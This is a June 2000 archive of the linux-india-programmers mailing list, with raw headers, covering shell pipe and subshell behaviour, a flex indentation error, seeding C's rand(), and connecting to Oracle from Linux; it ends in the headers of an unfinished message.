Joshi To: linux-india-programmers@lists.linux-india.org Subject: Re: Magic Garden: Explained In-Reply-To: <20000611115018.A2384@sharmas.dhs.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/94 + > Never heard about peterson, but maybe then you could send me a copy of + > that book if you say it is good. + > I hope I was clear in what I want :-) + + I meant + + http://www.amazon.com/exec/obidos/ASIN/0471364142/o/qid=960749199/sr=2-3/102-0217102-4404113 + + There was an earlier book by Silbershatz and Peterson that we referred + to in school. Looks like that one is out of print. No, this is available as Indian edition now. Most probably it is an Addison Weisley print. Other than that, i think google search would give lot more pointers which will give you a platform to get bouncing. If you could zero in on what you want specifically, that should be a good starting point. Sharad. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 00:15:25 2000 Received: from accord-soft.com (unknown [164.164.69.252]) by www.aunet.org (Postfix) with ESMTP id 8EF2438074 for ; Mon, 12 Jun 2000 00:15:17 -0700 (PDT) Received: from accord-soft.com (R.k.patil [192.168.1.15]) by accord-soft.com (8.9.3/8.9.3) with ESMTP id MAA16336 for ; Mon, 12 Jun 2000 12:35:16 +0530 Message-ID: <39448BB1.A4D109D0@accord-soft.com> Date: Mon, 12 Jun 2000 12:35:22 +0530 From: RK Patil Organization: Accord Software & Systems Pvt. Ltd. X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: LIP Subject: How does a pipe works? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/95 Hello, The problem pertains to simple shell script. I am unable to analyze the follwing , can any one on the list explain me : $echo HELLO | read var_name # here I pipe the o/p of echo command to a variable $echo $var_name # here I check that "HELLO" is stored in the user defined variable HELLO $ The above comand works fine. Now consider this $ read var_name | echo HELLO HELLO $echo $var_name # I try to see what the variable has been read into $ Though the standard i/p waits for some i/p from user, the variable is not assigned the value. Why this is so? --TIA RK From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 00:25:17 2000 Received: from tilmax.tatainfotech.co.in (tilmax.tatainfotech.co.in [202.54.16.133]) by www.aunet.org (Postfix) with ESMTP id 9A2DB38219 for ; Mon, 12 Jun 2000 00:24:59 -0700 (PDT) Received: from seepzmail.in.tatainfotech.com (seepzmail.in.tatainfotech.com [163.122.32.22]) by tilmax.tatainfotech.co.in (8.8.7/8.8.7) with ESMTP id MAA07137 for ; Mon, 12 Jun 2000 12:54:55 +0530 Received: from localhost (shridhar.daithankar@localhost) by seepzmail.in.tatainfotech.com (8.8.7/8.8.7) with ESMTP id MAA05560 for ; Mon, 12 Jun 2000 12:51:30 +0530 Date: Mon, 12 Jun 2000 12:51:30 +0530 (IST) From: Shridhar Daithankar X-Sender: shridhar.daithankar@seepzmail.in.tatainfotech.com To: LIP Subject: Re: How does a pipe works? In-Reply-To: <39448BB1.A4D109D0@accord-soft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/96 Hi On Mon, 12 Jun 2000, RK Patil wrote: > Hello, > The problem pertains to simple shell script. I am unable to analyze the > follwing , can any one on the list explain me : > > The above comand works fine. Now consider this > > $ read var_name | echo HELLO > HELLO > > $echo $var_name # I try to see what the variable has been read into > > $ When you use pipe, output of leftside command is fed as input to right side command. So what you are doing in fedding output of 'read var'(which is none IIRC) is fed as input to 'echo HELLO' which does not require any output. Obviously var will not contain any value. Pipes are not electrical wires which can work both ways...(At low frequencies and/or if echo equalizers are not installed..) HTH Bye Shridhar From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 02:36:29 2000 Received: from accord-soft.com (unknown [164.164.69.252]) by www.aunet.org (Postfix) with ESMTP id 3CC1D3807C for ; Mon, 12 Jun 2000 02:36:20 -0700 (PDT) Received: from accord-soft.com (R.k.patil [192.168.1.15]) by accord-soft.com (8.9.3/8.9.3) with ESMTP id OAA25223 for ; Mon, 12 Jun 2000 14:52:04 +0530 Message-ID: <3944ABC3.276FB521@accord-soft.com> Date: Mon, 12 Jun 2000 14:52:11 +0530 From: RK Patil Organization: Accord Software & Systems Pvt. Ltd. X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: How does a pipe works? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/97 Shridhar Daithankar wrote: > Now consider this > > > > $ read var_name | echo HELLO > > HELLO > > > > $echo $var_name # I try to see what the variable has been read into > > > > $ > When you use pipe, output of leftside command is fed as input to right > side command. So what you are doing in fedding output of 'read var'(which > is none IIRC) is fed as input to 'echo HELLO' which does not require any > output. Obviously var will not contain any value. Pipes are not electrical > wires which can work both ways...(At low frequencies and/or if > echo equalizers are not installed..) Shridhar : The o/p of left hand side is connected as i/p to RHS of pipe, is understood. But why does not the LHS command gets executed & read the var value from the standard i/p and srtore into the user defined variable? --RK From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 03:04:07 2000 Received: from tilmax.tatainfotech.co.in (tilmax.tatainfotech.co.in [202.54.16.133]) by www.aunet.org (Postfix) with ESMTP id 557343808D for ; Mon, 12 Jun 2000 03:03:56 -0700 (PDT) Received: from seepzmail.in.tatainfotech.com (seepzmail.in.tatainfotech.com [163.122.32.22]) by tilmax.tatainfotech.co.in (8.8.7/8.8.7) with ESMTP id PAA15073 for ; Mon, 12 Jun 2000 15:33:52 +0530 Received: from localhost (shridhar.daithankar@localhost) by seepzmail.in.tatainfotech.com (8.8.7/8.8.7) with ESMTP id PAA04917 for ; Mon, 12 Jun 2000 15:30:27 +0530 Date: Mon, 12 Jun 2000 15:30:27 +0530 (IST) From: Shridhar Daithankar X-Sender: shridhar.daithankar@seepzmail.in.tatainfotech.com To: linux-india-programmers@lists.linux-india.org Subject: Re: How does a pipe works? In-Reply-To: <3944ABC3.276FB521@accord-soft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/98 Hi When you run the command, it actually waits for reading from standard input. But despite of that nothing comes in var, that you type is probably because a \n that echo prints. Not sure on this... Bye Shridhar On Mon, 12 Jun 2000, RK Patil wrote: > Shridhar Daithankar wrote: > Shridhar : The o/p of left hand side is connected as i/p to RHS of pipe, is > understood. But why does not the LHS command gets executed & read the var > value from the standard i/p and srtore into the user defined variable? From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 04:01:17 2000 Received: from accord-soft.com (unknown [164.164.69.252]) by www.aunet.org (Postfix) with ESMTP id 6000538096 for ; Mon, 12 Jun 2000 04:00:58 -0700 (PDT) Received: from accord-soft.com (R.k.patil [192.168.1.15]) by accord-soft.com (8.9.3/8.9.3) with ESMTP id QAA32215 for ; Mon, 12 Jun 2000 16:29:20 +0530 Message-ID: <3944C28E.100F250A@accord-soft.com> Date: Mon, 12 Jun 2000 16:29:26 +0530 From: RK Patil Organization: Accord Software & Systems Pvt. Ltd. X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: How does a pipe works? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/99 Shridhar Daithankar wrote: > Hi > > When you run the command, it actually waits for reading from standard > input. But despite of that nothing comes in var, that you type is probably > because a \n that echo prints. Not sure on this... Shridhar : That is what I had concluded earlier. But replace the "echo" command with any shell script/utility/built in command, you will see that the script gets executed & there is an infinite wait ( here I presume it is wait for some i/p to read command). However , when you try to echo the variable to find what it read you get a blank line (new line?). Now like 'echo' other commands also i/p a '\n' at the end of there execution. Then why this unusal behaviour with 'echo' ? Also if the 'read' operation is done, where the value of this variable is stored? ---rk From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 07:14:19 2000 Received: from cdacb.ernet.in (cdacb.ernet.in [202.141.63.1]) by www.aunet.org (Postfix) with ESMTP id E5D3B380DF for ; Mon, 12 Jun 2000 07:14:12 -0700 (PDT) Received: from cdacb.ernet.in (Anil@akash [202.141.63.19]) by cdacb.ernet.in (8.8.5/8.8.5) with ESMTP id TAA27741 for ; Mon, 12 Jun 2000 19:50:26 -0500 (GMT) Message-ID: <39453E93.B32B7E94@cdacb.ernet.in> Date: Tue, 13 Jun 2000 01:18:35 +0530 From: "R.Anil Kumar" Organization: CDAC X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20 i586) X-Accept-Language: en MIME-Version: 1.0 To: Linux Subject: Information on flex Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: base64 X-Archive-Number: 200006/100 SGkNCiAgICBDYW4gYW55b25lIGhlbHAgbWUgb24gZmxleC4gSSBhbSBsZWFy bmluZyB0byB1c2UgaXQgYW5kIGkgdHJpZWQNCmNvcHlpbmcgdGhlIHNlY29u ZCBleGFtcGxlIGluIGl0cyBtYW4gcGFnZSBkaXJlY3RseSB0byBhIGZpbGUg bmFtZQ0KbGV4aW5wdXQgYW5kIHRyaWVkDQogICAgICAgICAgICBmbGV4IGxl eGlucHV0DQogICAgICAgICBJdCBnaXZlcyBhbiBlcnJvciBzdGF0aW5nIGVy cm9yIHVuZXhwZWN0ZWQgRU9GIG9uIGxpbmUgNTIuDQpDb3VsZCBhbnlvbmUg Z3VpZGUgbWUgdGhyb3VnaCB0aGlzDQoNClRoYW5raW5nIHlvdQ0KDQpSLkFu aWwgS3VtYXINCg0K From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 08:40:48 2000 Received: from zombie (unknown [203.197.146.22]) by www.aunet.org (Postfix) with ESMTP id F038538240 for ; Mon, 12 Jun 2000 08:40:42 -0700 (PDT) Received: from santhosh by zombie with local (Exim 3.12 #1 (Debian)) id 131WPW-0000Ko-00 for ; Mon, 12 Jun 2000 21:15:58 +0530 Date: Mon, 12 Jun 2000 21:15:58 +0530 From: Saisanthosh Balakrishnan To: linux-india-programmers@lists.linux-india.org Subject: Re: Information on flex Message-ID: <20000612211558.A978@softhome.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <39453E93.B32B7E94@cdacb.ernet.in>; from anil@cdacb.ernet.in on Tue, Jun 13, 2000 at 01:18:35AM +0530 X-Archive-Number: 200006/101 > Can anyone help me on flex. I am learning to use it and i tried > copying the second example in its man page directly to a file name > lexinput and tried > flex lexinput > It gives an error stating error unexpected EOF on line 52. > Could anyone guide me through this iirc, the example you are talking abt is the 3rd one. anyway, remove the tab (or spaces) at the start of each line in flexinput. ie. /* scanner for a toy Pascal-like language */ %{ /* need this for the call to atof() below */ #include should be /* scanner for a toy Pascal-like language */ %{ /* need this for the call to atof() below */ #include -- saisanthosh From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 20:52:45 2000 Received: from tilmax.tatainfotech.co.in (tilmax.tatainfotech.co.in [202.54.16.133]) by www.aunet.org (Postfix) with ESMTP id 2A78138056 for ; Mon, 12 Jun 2000 20:52:29 -0700 (PDT) Received: from seepzmail.in.tatainfotech.com (seepzmail.in.tatainfotech.com [163.122.32.22]) by tilmax.tatainfotech.co.in (8.8.7/8.8.7) with ESMTP id JAA13262 for ; Tue, 13 Jun 2000 09:22:21 +0530 Received: from localhost (shridhar.daithankar@localhost) by seepzmail.in.tatainfotech.com (8.8.7/8.8.7) with ESMTP id JAA07721 for ; Tue, 13 Jun 2000 09:18:52 +0530 Date: Tue, 13 Jun 2000 09:18:52 +0530 (IST) From: Shridhar Daithankar X-Sender: shridhar.daithankar@seepzmail.in.tatainfotech.com To: Linux Subject: Re: Information on flex In-Reply-To: <39453E93.B32B7E94@cdacb.ernet.in> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/102 Hi flex is pretty straightforward to use. I have learned it(sort of) from man pages only. Anyway as far as error is concerned, nobody can tell you anything unless you post the file... Bye Shridhar P.S. I would like to have source code of flex if available. Can anybody help.... On Tue, 13 Jun 2000, R.Anil Kumar wrote: > Hi > Can anyone help me on flex. I am learning to use it and i tried > copying the second example in its man page directly to a file name > lexinput and tried > flex lexinput From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 22:10:06 2000 Received: from bhim.ic (unknown [61.1.254.142]) by www.aunet.org (Postfix) with ESMTP id 4F5AA38088 for ; Mon, 12 Jun 2000 22:09:47 -0700 (PDT) Received: from localhost (iclabs@localhost) by bhim.ic (8.8.7/8.8.7) with ESMTP id KAA01099 for ; Tue, 13 Jun 2000 10:53:02 +0400 X-Authentication-Warning: bhim.ic: iclabs owned process doing -bs Date: Tue, 13 Jun 2000 10:52:51 +0400 (SCT) From: "Pramode C.E" X-Sender: iclabs@bhim.ic To: linux-india-programmers@lists.linux-india.org Subject: Re: How does a pipe works? In-Reply-To: <3944C28E.100F250A@accord-soft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/103 On Mon, 12 Jun 2000, RK Patil wrote: > Shridhar Daithankar wrote: > > > Hi > > > > When you run the command, it actually waits for reading from standard > > input. But despite of that nothing comes in var, that you type is probably > > because a \n that echo prints. Not sure on this... > If you use ps and strace -p on another console while read foo|echo hello is running, you will find that 'read foo' is running in a subshell. Naturally, foo will not be set in the parent shell. regards, pramode. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 12 23:10:23 2000 Received: from cdacb.ernet.in (cdacb.ernet.in [202.141.63.1]) by www.aunet.org (Postfix) with ESMTP id AA0CF3805A for ; Mon, 12 Jun 2000 23:10:07 -0700 (PDT) Received: from cdacb.ernet.in (Anil@akash [202.141.63.19]) by cdacb.ernet.in (8.8.5/8.8.5) with ESMTP id LAA10850 for ; Tue, 13 Jun 2000 11:46:15 -0500 (GMT) Message-ID: <39461E98.7553F7D3@cdacb.ernet.in> Date: Tue, 13 Jun 2000 17:14:24 +0530 From: "R.Anil Kumar" Organization: CDAC X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20 i586) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: Re: Information on flex Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: base64 X-Archive-Number: 200006/104 SGkNCiAgICAgICAgVGhhbnggZm9yIHRoZSB0aXAuIEl0IHNvbHZlZCBteSBw cm9ibGVtLg0KDQpSLkFuaWwgS3VtYXINCg0KDQpTYWlzYW50aG9zaCBCYWxh a3Jpc2huYW4gd3JvdGU6DQoNCj4gPiAgICAgQ2FuIGFueW9uZSBoZWxwIG1l IG9uIGZsZXguIEkgYW0gbGVhcm5pbmcgdG8gdXNlIGl0IGFuZCBpIHRyaWVk DQo+ID4gY29weWluZyB0aGUgc2Vjb25kIGV4YW1wbGUgaW4gaXRzIG1hbiBw YWdlIGRpcmVjdGx5IHRvIGEgZmlsZSBuYW1lDQo+ID4gbGV4aW5wdXQgYW5k IHRyaWVkDQo+ID4gICAgICAgICAgICAgZmxleCBsZXhpbnB1dA0KPiA+ICAg ICAgICAgIEl0IGdpdmVzIGFuIGVycm9yIHN0YXRpbmcgZXJyb3IgdW5leHBl Y3RlZCBFT0Ygb24gbGluZSA1Mi4NCj4gPiBDb3VsZCBhbnlvbmUgZ3VpZGUg bWUgdGhyb3VnaCB0aGlzDQo+DQo+IGlpcmMsIHRoZSBleGFtcGxlIHlvdSBh cmUgdGFsa2luZyBhYnQgaXMgdGhlIDNyZCBvbmUuIGFueXdheSwgcmVtb3Zl DQo+IHRoZSB0YWIgKG9yIHNwYWNlcykgYXQgdGhlIHN0YXJ0IG9mIGVhY2gg bGluZSBpbiBmbGV4aW5wdXQuDQo+DQo+IGllLg0KPg0KPiAgICAgICAgIC8q IHNjYW5uZXIgZm9yIGEgdG95IFBhc2NhbC1saWtlIGxhbmd1YWdlICovDQo+ ICAgICAgICAgJXsNCj4gICAgICAgICAgICAgICAgIC8qIG5lZWQgdGhpcyBm b3IgdGhlIGNhbGwgdG8gYXRvZigpIGJlbG93ICovDQo+ICAgICAgICAgICAg ICAgICAjaW5jbHVkZSA8bWF0aC5oPg0KPg0KPiBzaG91bGQgYmUNCj4NCj4g Lyogc2Nhbm5lciBmb3IgYSB0b3kgUGFzY2FsLWxpa2UgbGFuZ3VhZ2UgKi8N Cj4gJXsNCj4gICAgICAgICAvKiBuZWVkIHRoaXMgZm9yIHRoZSBjYWxsIHRv IGF0b2YoKSBiZWxvdyAqLw0KPiAgICAgICAgICNpbmNsdWRlIDxtYXRoLmg+ DQo+DQo+DQo+IC0tDQo+IHNhaXNhbnRob3NoDQo+DQo+IC0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tDQo+IEZvciBpbmZvcm1hdGlvbiBvbiB0aGlzIGFu ZCBvdGhlciBMaW51eCBJbmRpYSBtYWlsaW5nIGxpc3RzIGNoZWNrIG91dA0K PiBodHRwOi8vbGlzdHMubGludXgtaW5kaWEub3JnLw0KDQoNCg== From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 19:02:20 2000 Received: from www0a.netaddress.usa.net (www0a.netaddress.usa.net [204.68.24.30]) by www.aunet.org (Postfix) with SMTP id EB5DA3802E for ; Tue, 13 Jun 2000 19:02:14 -0700 (PDT) Received: (qmail 17700 invoked by uid 60001); 14 Jun 2000 02:02:13 -0000 Message-ID: <20000614020213.17699.qmail@www0a.netaddress.usa.net> Received: from 204.68.24.30 by www0a for [203.94.252.103] via web-mailer(34PS1.1.04) on Wed Jun 14 02:02:13 GMT 2000 Date: 14 Jun 00 05:02:13 EAT From: Deepak Yadav To: linux-india-programmers@lists.linux-india.org Subject: X-Mailer: USANET web-mailer (34PS1.1.04) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable X-Archive-Number: 200006/105 my program to generate random numbers give same set every time i run it. plz help (i am using linux 6.2 and its random dameon is ON) #include #include int main(int argc, char *argv[]) { char ch; int random; int i =3D 0; srand(1); while (i < 5 ) { random =3D rand(); printf("\nrandom : %d\n",random); i++; } printf("\n\n"); return 0; } ___________ thanks deepak ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D1 From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 19:19:43 2000 Received: from giasbg01.vsnl.net.in (giasbg01.vsnl.net.in [202.54.12.17]) by www.aunet.org (Postfix) with ESMTP id 255583802E for ; Tue, 13 Jun 2000 19:19:35 -0700 (PDT) Received: from localhost.localdomain (IDENT:root@[203.200.0.41]) by giasbg01.vsnl.net.in (8.9.3/8.9.3) with ESMTP id HAA15553 for ; Wed, 14 Jun 2000 07:52:59 +0500 (GMT+0500) Received: (from mrinal@localhost) by localhost.localdomain (8.9.3/8.9.3) id HAA07203 for linux-india-programmers@lists.linux-india.org; Wed, 14 Jun 2000 07:44:22 +0530 Date: Wed, 14 Jun 2000 07:44:22 +0530 From: Mrinal Kalakrishnan To: The Linux India Programmers Mailing List Subject: Re: Message-ID: <20000614074422.A6898@india.com> Mail-Followup-To: The Linux India Programmers Mailing List Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000614020213.17699.qmail@www0a.netaddress.usa.net>; from deepaky@usa.net on Wed, Jun 14, 2000 at 05:02:13AM +0300 X-Mailer: Mutt 1.3.3i (2000-06-09) X-Operating-System: Linux 2.2.16 X-Editor: VIM - Vi IMproved 5.6 X-URL: http://www.geocities.com/mrinal/ Organization: Jobless after finishing school! X-Archive-Number: 200006/106 Hi, Deepak Yadav typed: > my program to generate random numbers give same set every time i run it. plz > help (i am using linux 6.2 and its random dameon is ON) > srand(1); If you give a constant seed, you'll get the same numbers every time. Use srand(time(NULL)) instead, or something of that sort. -- Mrinal Kalakrishnan http://mrinal.dhs.org/ Linux 2.2.16 || PGP:B1E86F5B || Mutt 1.3.3i (2000-06-09) || VIM 5.6 -- "Whip me. Beat me. Make me maintain AIX." (By Stephan Zielinski) From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 19:50:09 2000 Received: from zombie (unknown [203.197.146.22]) by www.aunet.org (Postfix) with ESMTP id 3EF453802E for ; Tue, 13 Jun 2000 19:50:01 -0700 (PDT) Received: from santhosh by zombie with local (Exim 3.12 #1 (Debian)) id 1323Lu-0000HI-00 for ; Wed, 14 Jun 2000 08:26:26 +0530 Date: Wed, 14 Jun 2000 08:26:26 +0530 From: Saisanthosh Balakrishnan To: linux-india-programmers@lists.linux-india.org Subject: Re: your mail Message-ID: <20000614082626.A962@softhome.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <20000614020213.17699.qmail@www0a.netaddress.usa.net>; from deepaky@usa.net on Wed, Jun 14, 2000 at 05:02:13AM +0300 X-Archive-Number: 200006/107 > my program to generate random numbers give same set every time i run > it. plz help (i am using linux 6.2 and its random dameon is ON) the "random" message that you see during startup is not a daemon, it is just a script that initializes the entropy pool of /dev/random and /dev/urandom. In case, you are interested in the kernel random number generator, read /usr/src/linux/drivers/char/random.c and man 4 random. -- saisanthosh From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 20:57:09 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 5795B38059 for ; Tue, 13 Jun 2000 20:57:04 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id UAA10021 for linux-india-programmers@lists.linux-india.org; Tue, 13 Jun 2000 20:56:12 -0700 Date: Tue, 13 Jun 2000 20:56:12 -0700 From: Arun Sharma To: The Linux India Programmers Mailing List Subject: Re: Message-ID: <20000613205612.A10010@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000614074422.A6898@india.com>; from mrinal@india.com on Wed, Jun 14, 2000 at 07:44:22AM +0530 X-Archive-Number: 200006/108 On Wed, Jun 14, 2000 at 07:44:22AM +0530, Mrinal Kalakrishnan wrote: > If you give a constant seed, you'll get the same numbers every time. > Use srand(time(NULL)) instead, or something of that sort. If you want really "secure" random numbers, you should use stuff from openssl or one of the crypto kits: #include int RAND_bytes(unsigned char *buf, int num); int RAND_pseudo_bytes(unsigned char *buf, int num); -Arun From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 21:39:24 2000 Received: from nw171.netaddress.usa.net (nw171.netaddress.usa.net [204.68.24.71]) by www.aunet.org (Postfix) with SMTP id 9DC3D3804E for ; Tue, 13 Jun 2000 21:39:19 -0700 (PDT) Received: (qmail 12198 invoked by uid 60001); 14 Jun 2000 04:39:18 -0000 Message-ID: <20000614043918.12197.qmail@nw171.netaddress.usa.net> Received: from 204.68.24.71 by nw171 for [203.94.251.183] via web-mailer(34PS1.1.04) on Wed Jun 14 04:39:18 GMT 2000 Date: 14 Jun 00 07:39:18 EAT From: Deepak Yadav To: linux-india-programmers@lists.linux-india.org Subject: random numbers X-Mailer: USANET web-mailer (34PS1.1.04) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable X-Archive-Number: 200006/109 my program below generates same set of random numbers every time i run it. i am using linux 6.2 and its random daemon is ON. plz help #include #include int main(int argc, char *argv[]) { char ch; int random; int i =3D 0; srand(1); while (i < 5 ) { random =3D rand(); printf("\nrandom : %d\n",random); i++; } printf("\n\n"); return 0; } ______ thanks Deepak ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D1 From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 22:28:17 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id 690AE3804E for ; Tue, 13 Jun 2000 22:28:08 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id KAA13823 for ; Wed, 14 Jun 2000 10:58:05 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpdoTmkYU; Wed Jun 14 10:57:55 2000 Received: from mahindrabt.com ([10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id KAA19365 for ; Wed, 14 Jun 2000 10:56:33 +0530 Message-ID: <39471832.3959CF14@mahindrabt.com> Date: Wed, 14 Jun 2000 10:59:22 +0530 From: Rajeev Jha X-Mailer: Mozilla 4.72 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: oracle on linux vs. oracle on NT/win Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/110 hi list this is a long mail as i have many queries, we want to have web-servers on Gnu/linux machines serving the jsp pages. for this we have machines running Gnu/Linux . as for the web-server i think we can use the suggested jakarta-tomcat as module , or go for one of the free Jservers. client side uses javascript + netscape. now comes the problem part the choice of datbase, and the questions with it. how is oracle on linux is different from oracle on NT ?. in the sense that, say right now i have oracle client on win machines and they connect to oracle server on NT thru *odbc* drivers. application --> odbc driver --> oracle client on 95 --> network layer can i connect to this oracle NT server from a linux box ? if yes then how ? specifically, oracle server is listening on a particular port on the server-machine , now my client on the linux machines should be able to connect to this port + Ip, and there should be one driver on my machine which should now how to translate the requests coming from the applications into the language of this client. so theoretically atleast this should be possible. i tried to go thru the *net8* manual supplied with oracle. to communicate over network client is using tcp/ip only. so server side is independent of the client, client should have the ability to send requests and interpret the received messages. i may be/ may not be wrong . actually i want to know,, how is connecting to a web-server for html pages using http is different from connecting to a oracle server ? i am asking all this bcuz say, i have a web-server ( say apache+tomcat) running on linux machines , but we want to use our same oracle server on NT , then how do we connect to this oracle database thru jsp pages on the web-server running on linux machines. are the drivers available, if i want to connect to oracle8i database on linux from apache+tomcat serving jsp pages ? thank you all for being so patient. any queries/links/suggestions/help would be most appreciated sincerely -- ~!@#$%^&*()_+ of late i have discovered this talent that I am happy the way I am Rajeev Jha Email: rajeevj@mahindrabt.com Tring Tring : +91(20)5424301 Xtn: 1126 web: http://www.rajeevjha.com ----------------------------------------------------------------------- From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 22:34:33 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 8C7AC380E2 for ; Tue, 13 Jun 2000 22:34:32 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id WAA10289 for linux-india-programmers@lists.linux-india.org; Tue, 13 Jun 2000 22:33:41 -0700 Date: Tue, 13 Jun 2000 22:33:41 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: oracle on linux vs. oracle on NT/win Message-ID: <20000613223341.B10262@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <39471832.3959CF14@mahindrabt.com>; from rajeevj@mahindrabt.com on Wed, Jun 14, 2000 at 10:59:22AM +0530 X-Archive-Number: 200006/111 On Wed, Jun 14, 2000 at 10:59:22AM +0530, Rajeev Jha wrote: > are the drivers available, if i want to connect to oracle8i database on > linux from apache+tomcat serving jsp pages ? thank you all for being so > patient. any queries/links/suggestions/help would be most appreciated > Yes, use the thin driver from Oracle. -Arun From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 22:46:37 2000 Received: from tilmax.tatainfotech.co.in (tilmax.tatainfotech.co.in [202.54.16.133]) by www.aunet.org (Postfix) with ESMTP id 26D8F3804E for ; Tue, 13 Jun 2000 22:46:25 -0700 (PDT) Received: from seepzmail.in.tatainfotech.com (seepzmail.in.tatainfotech.com [163.122.32.22]) by tilmax.tatainfotech.co.in (8.8.7/8.8.7) with ESMTP id LAA18304 for ; Wed, 14 Jun 2000 11:16:21 +0530 Received: from localhost (shridhar.daithankar@localhost) by seepzmail.in.tatainfotech.com (8.8.7/8.8.7) with ESMTP id LAA11165 for ; Wed, 14 Jun 2000 11:12:55 +0530 Date: Wed, 14 Jun 2000 11:12:54 +0530 (IST) From: Shridhar Daithankar X-Sender: shridhar.daithankar@seepzmail.in.tatainfotech.com To: linux-india-programmers@lists.linux-india.org Subject: Re: oracle on linux vs. oracle on NT/win In-Reply-To: <20000613223341.B10262@sharmas.dhs.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/112 Hi I have never played with RDBMS stuff, and little I know about web programming, but still a suggestion, since you are using java, Could you use Oracle ODBC drivers and jdbc/odbc bridge as Oracle ODBC drivers are available for linux? I do not know how different it's from this slution? On Tue, 13 Jun 2000, Arun Sharma wrote: > Yes, use the thin driver from Oracle. From linux-india-programmers-owner@lists.linux-india.org Tue Jun 13 22:49:13 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id 2B5D83804E for ; Tue, 13 Jun 2000 22:49:05 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id KAA09629 for ; Wed, 14 Jun 2000 10:50:14 -0500 (GMT) Received: from delhi.tcs.co.in ([157.227.12.225]) by MAILGG2.delhi.tcs.co.in (Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) with SMTP id 652568FE.00202BAF; Sun, 14 Jun 1970 11:21:23 +0530 Message-ID: <39471CCA.22C3C373@delhi.tcs.co.in> Date: Wed, 14 Jun 2000 11:18:58 +0530 From: Rohit Singh Organization: TCS 